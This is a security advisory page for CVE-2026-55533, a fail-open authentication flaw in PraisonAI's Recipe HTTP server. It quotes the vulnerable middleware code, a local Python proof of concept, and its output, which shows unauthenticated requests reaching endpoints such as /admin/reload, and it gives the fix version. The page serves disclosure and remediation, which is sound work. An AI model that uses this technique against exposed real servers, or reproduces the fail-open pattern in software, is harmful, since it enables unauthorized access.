CVE-2026-55533

CVE-2026-55533 is a high-severity improper authentication vulnerability in PraisonAI (pip), affecting versions < 4.6.58. It is fixed in 4.6.58.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret

The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing.

This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.

The issue is especially risky because the CLI safety check for non-localhost binding only verifies that auth != "none". It does not verify that an actual API key or JWT secret exists.

Details

The Recipe server documents the following authentication modes:

  • none
  • api-key
  • jwt

Relevant source locations:

  • src/praisonai/praisonai/recipe/serve.py
  • src/praisonai/praisonai/cli/features/recipe.py

In create_auth_middleware(), the API key middleware resolves the expected key as:

expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")

if not expected_key:
    # No key configured, allow request
    return await call_next(request)

This means auth: api-key does not enforce authentication if api_key / PRAISONAI_API_KEY is missing.

The JWT middleware has the same fail-open behavior:

secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
    return await call_next(request)

The auth middleware is still attached when auth is configured:

auth_type = config.get("auth")
if auth_type and auth_type != "none":
    auth_middleware = create_auth_middleware(
        auth_type,
        api_key=config.get("api_key"),
        jwt_secret=config.get("jwt_secret"),
    )
    if auth_middleware:
        middleware.append(Middleware(auth_middleware))

The CLI path makes this externally reachable in a misconfigured deployment. In cmd_serve, the non-localhost safety check only verifies that auth is not "none":

if host != "127.0.0.1" and host != "localhost" and auth == "none":
    self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt")
    return self.EXIT_POLICY_DENIED

Therefore, this command passes the safety check:

praisonai recipe serve --host 0.0.0.0 --auth api-key

However, if no --api-key or PRAISONAI_API_KEY is configured, requests are still accepted without authentication.

Affected endpoints include:

  • POST /v1/recipes/run
  • POST /v1/recipes/stream
  • POST /v1/recipes/validate
  • optional POST /admin/reload when enable_admin is true

PoC

The following local PoC verifies that api-key and jwt authentication fail open when the corresponding secret is missing.

Run from the repository root with test dependencies installed:

python3 poc_recipe_auth_fail_open.py

poc_recipe_auth_fail_open.py:

import os
import sys
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Ensure no secrets are present in the environment.
os.environ.pop("PRAISONAI_API_KEY", None)
os.environ.pop("PRAISONAI_JWT_SECRET", None)

from praisonai.recipe.serve import create_app

# api-key auth selected, but no key configured.
app_open = create_app({"auth": "api-key", "enable_admin": True})
client_open = TestClient(app_open)

print("api-key auth with missing key:")
print("GET /openapi.json:", client_open.get("/openapi.json").status_code)
print("POST /admin/reload:", client_open.post("/admin/reload").status_code)

# api-key auth selected with an actual key configured.
app_closed = create_app({
    "auth": "api-key",
    "api_key": "expected",
    "enable_admin": True,
})
client_closed = TestClient(app_closed)

print("\napi-key auth with configured key:")
print("missing key:", client_closed.post("/admin/reload").status_code)
print("wrong key:", client_closed.post(
    "/admin/reload",
    headers={"X-API-Key": "wrong"},
).status_code)
print("correct key:", client_closed.post(
    "/admin/reload",
    headers={"X-API-Key": "expected"},
).status_code)

# jwt auth selected, but no JWT secret configured.
app_jwt_open = create_app({"auth": "jwt"})
client_jwt_open = TestClient(app_jwt_open)

print("\njwt auth with missing secret:")
print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code)

Observed output:

api-key auth with missing key:
GET /openapi.json: 200
POST /admin/reload: 200

api-key auth with configured key:
missing key: 401
wrong key: 401
correct key: 200

jwt auth with missing secret:
GET /openapi.json: 200

The important result is that auth=api-key without a configured key allows requests to protected endpoints, while the same endpoint correctly returns 401 when a key is configured and missing/wrong.

Impact

In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected api-key or jwt authentication.

This gives unauthenticated access to recipe execution endpoints such as:

  • POST /v1/recipes/run
  • POST /v1/recipes/stream

If admin endpoints are enabled, the attacker can also access:

  • POST /admin/reload

The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-55533 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.58); upgrading removes the vulnerable code path.

Affected versions

PraisonAI (< 4.6.58)

Security releases

PraisonAI → 4.6.58 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade PraisonAI to 4.6.58 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-55533? CVE-2026-55533 is a high-severity improper authentication vulnerability in PraisonAI (pip), affecting versions < 4.6.58. It is fixed in 4.6.58. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. How severe is CVE-2026-55533? CVE-2026-55533 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of PraisonAI are affected by CVE-2026-55533? PraisonAI (pip) versions < 4.6.58 is affected.
  4. Is there a fix for CVE-2026-55533? Yes. CVE-2026-55533 is fixed in 4.6.58. Upgrade to this version or later.
  5. Is CVE-2026-55533 exploitable, and should I be worried? Whether CVE-2026-55533 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55533 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55533? Upgrade PraisonAI to 4.6.58 or later.

Stop the waste.
Protect your environment with Kodem.